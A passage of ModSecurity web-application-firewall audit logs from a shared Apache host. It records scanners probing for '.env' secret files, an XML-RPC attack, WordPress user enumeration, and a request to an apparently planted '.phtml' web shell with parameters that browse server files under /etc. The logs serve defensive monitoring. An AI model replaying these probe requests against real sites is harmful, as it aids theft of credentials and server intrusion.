"apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/application/.env"] [unique_id "aE-CiIkQyF8-ounHsxsOkQAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041224197045 655745 (- - -) Stopwatch2: 1750041224197045 655745; combined=1967, p1=441, p2=1430, p3=0, p4=0, p5=95, sr=117, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cf490c03-Z-- --cf94051e-A-- [16/Jun/2025:08:03:50.092510 +0530] aE-CjeMjvy_LHXlMeRAbGwAAAAU 185.177.72.210 33984 127.0.0.1 7081 --cf94051e-B-- GET /:8880/dashboard/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cf94051e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=be2a3b38a6a14403e7ea8a97aeb9bdd61750041229; expires=Mon, 16 Jun 2025 03:33:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cf94051e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/dashboard/.env"] [unique_id "aE-CjeMjvy_LHXlMeRAbGwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041229411746 680831 (- - -) Stopwatch2: 1750041229411746 680831; combined=1635, p1=308, p2=1151, p3=0, p4=0, p5=175, sr=74, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cf94051e-Z-- --c0c0d212-A-- [16/Jun/2025:08:04:02.098737 +0530] aE-CmboFnONBt7jRcBydagAAAA4 185.177.72.210 34272 127.0.0.1 7081 --c0c0d212-B-- GET /control/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c0c0d212-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2b2a80cf03bc205b14d7ee2d015c83421750041241; expires=Mon, 16 Jun 2025 03:34:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c0c0d212-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/control/.env"] [unique_id "aE-CmboFnONBt7jRcBydagAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041241434109 664691 (- - -) Stopwatch2: 1750041241434109 664691; combined=1960, p1=348, p2=1522, p3=0, p4=0, p5=89, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c0c0d212-Z-- --8dde2154-A-- [16/Jun/2025:08:04:06.247824 +0530] aE-CnQS4XDlCv3KXioQNuAAAAAY 185.177.72.210 34452 127.0.0.1 7081 --8dde2154-B-- GET /:5000/courrier/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8dde2154-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=04a6321d545d769a388c2e4c9cda074a1750041246; expires=Mon, 16 Jun 2025 03:34:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8dde2154-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/courrier/.env"] [unique_id "aE-CnQS4XDlCv3KXioQNuAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041245562953 684935 (- - -) Stopwatch2: 1750041245562953 684935; combined=2057, p1=376, p2=1584, p3=0, p4=0, p5=97, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8dde2154-Z-- --92b8ae29-A-- [16/Jun/2025:08:04:15.265706 +0530] aE-CpuMjvy_LHXlMeRAbKQAAAAU 185.177.72.210 58324 127.0.0.1 7081 --92b8ae29-B-- GET /:8443/laravel/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --92b8ae29-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=827306368067ff61b43f532f76ac56ff1750041255; expires=Mon, 16 Jun 2025 03:34:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --92b8ae29-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/laravel/.env"] [unique_id "aE-CpuMjvy_LHXlMeRAbKQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041254604387 661382 (- - -) Stopwatch2: 1750041254604387 661382; combined=2063, p1=404, p2=1569, p3=0, p4=0, p5=90, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --92b8ae29-Z-- --3112a148-A-- [16/Jun/2025:08:04:24.171382 +0530] aE-Cr_rb_uQIHEwgEhzeowAAAAA 185.177.72.210 49870 127.0.0.1 7081 --3112a148-B-- GET /:8880/app/konfig/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3112a148-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=86f50a3d134aa20498d62efcdaf545511750041264; expires=Mon, 16 Jun 2025 03:34:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3112a148-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/app/konfig/.env"] [unique_id "aE-Cr_rb_uQIHEwgEhzeowAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041263524494 646962 (- - -) Stopwatch2: 1750041263524494 646962; combined=2200, p1=384, p2=1712, p3=0, p4=0, p5=103, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3112a148-Z-- --8b4cba16-A-- [16/Jun/2025:08:04:38.957162 +0530] aE-CviSg0_FUeePR9Z0CKQAAAAE 128.199.112.101 34892 127.0.0.1 7081 --8b4cba16-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --8b4cba16-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --8b4cba16-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-CviSg0_FUeePR9Z0CKQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041278012479 944737 (- - -) Stopwatch2: 1750041278012479 944737; combined=2074, p1=391, p2=1347, p3=33, p4=48, p5=167, sr=98, sw=88, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8b4cba16-Z-- --09a5266a-A-- [16/Jun/2025:08:04:39.464846 +0530] aE-Cvvrb_uQIHEwgEhzerQAAAAA 185.177.72.210 34910 127.0.0.1 7081 --09a5266a-B-- GET /Gruntfile.js HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --09a5266a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8188599a9b2b22adada711149e7089d01750041279; expires=Mon, 16 Jun 2025 03:34:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --09a5266a-H-- Message: Warning. Matched phrase "/gruntfile.js" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/gruntfile.js" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/Gruntfile.js"] [unique_id "aE-Cvvrb_uQIHEwgEhzerQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041278808026 656896 (- - -) Stopwatch2: 1750041278808026 656896; combined=1991, p1=413, p2=1504, p3=0, p4=0, p5=74, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --09a5266a-Z-- --36aa9b4a-A-- [16/Jun/2025:08:04:40.041647 +0530] aE-CwLoFnONBt7jRcBydgAAAAA4 216.73.216.83 54666 127.0.0.1 7081 --36aa9b4a-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fetc%2Fdefault%2Fgrub.d&viewfile=%2F%2Fetc%2Fdefault%2Fgrub.d%2Finit-select.cfg HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --36aa9b4a-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3122 Connection: close Content-Type: text/html; charset=UTF-8 --36aa9b4a-H-- Message: Warning. Matched phrase "etc/default/grub" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/default/grub found within ARGS:path: /etc/default/grub.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Message: Warning. Matched phrase "etc/default/grub" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/default/grub found within ARGS:viewfile: /etc/default/grub.d/init-select.cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/default/grub" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/default/grub found within ARGS:path: /etc/default/grub.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-CwLoFnONBt7jRcBydgAAAAA4"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/default/grub" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/default/grub found within ARGS:viewfile: /etc/default/grub.d/init-select.cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-CwLoFnONBt7jRcBydgAAAAA4"] Apache-Handler: application/x-httpd-php Stopwatch: 1750041280038039 3661 (- - -) Stopwatch2: 1750041280038039 3661; combined=1809, p1=308, p2=1339, p3=41, p4=32, p5=88, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --36aa9b4a-Z-- --671d4878-A-- [16/Jun/2025:08:04:43.010923 +0530] aE-CwlVp19vSg8MbnETmcAAAAAI 185.177.72.210 54986 127.0.0.1 7081 --671d4878-B-- GET /:8888/configurationtion/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --671d4878-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=25942808bbe4d8e51289c13ee4bc2f061750041282; expires=Mon, 16 Jun 2025 03:34:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --671d4878-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/configurationtion/.env"] [unique_id "aE-CwlVp19vSg8MbnETmcAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041282307522 703476 (- - -) Stopwatch2: 1750041282307522 703476; combined=1968, p1=388, p2=1489, p3=0, p4=0, p5=90, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --671d4878-Z-- --13701d7b-A-- [16/Jun/2025:08:04:44.968931 +0530] aE-CxIkQyF8-ounHsxsOuAAAAA8 185.177.72.210 55194 127.0.0.1 7081 --13701d7b-B-- GET /:8008/.env.1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --13701d7b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=378edd7e6a72f270f471638d4cf072e91750041284; expires=Mon, 16 Jun 2025 03:34:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --13701d7b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/.env.1"] [unique_id "aE-CxIkQyF8-ounHsxsOuAAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041284320340 648693 (- - -) Stopwatch2: 1750041284320340 648693; combined=1950, p1=402, p2=1425, p3=0, p4=0, p5=123, sr=117, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --13701d7b-Z-- --b7dac20c-A-- [16/Jun/2025:08:04:45.947687 +0530] aE-Cxfrb_uQIHEwgEhzeswAAAAA 185.177.72.210 55274 127.0.0.1 7081 --b7dac20c-B-- GET /:8181/data/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b7dac20c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1cb68bb31bb6e5f0ae589252ce32152b1750041285; expires=Mon, 16 Jun 2025 03:34:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b7dac20c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/data/.env"] [unique_id "aE-Cxfrb_uQIHEwgEhzeswAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041285291049 656710 (- - -) Stopwatch2: 1750041285291049 656710; combined=1674, p1=358, p2=1228, p3=0, p4=0, p5=87, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b7dac20c-Z-- --fea41b10-A-- [16/Jun/2025:08:04:53.142372 +0530] aE-CzAS4XDlCv3KXioQN2QAAAAY 185.177.72.210 33128 127.0.0.1 7081 --fea41b10-B-- GET /dev_env/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fea41b10-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0dadbfc4ec1fb6e692a955fb318e76851750041292; expires=Mon, 16 Jun 2025 03:34:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fea41b10-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/dev_env/.env"] [unique_id "aE-CzAS4XDlCv3KXioQN2QAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041292480315 662120 (- - -) Stopwatch2: 1750041292480315 662120; combined=1618, p1=355, p2=1173, p3=0, p4=0, p5=89, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fea41b10-Z-- --46576804-A-- [16/Jun/2025:08:05:39.211807 +0530] aE-C-lVp19vSg8MbnETmkAAAAAI 146.70.194.222 52870 127.0.0.1 7081 --46576804-B-- GET //wp-json/wp/v2/users/ HTTP/1.0 Host: www.3econcepts.com X-Real-IP: 146.70.194.222 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 --46576804-F-- HTTP/1.1 401 Unauthorized X-Powered-By: PHP/8.3.22 X-Robots-Tag: noindex Link: <https://www.3econcepts.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Allow: GET Vary: Origin Connection: close Content-Type: application/json; charset=UTF-8 --46576804-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.3econcepts.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure 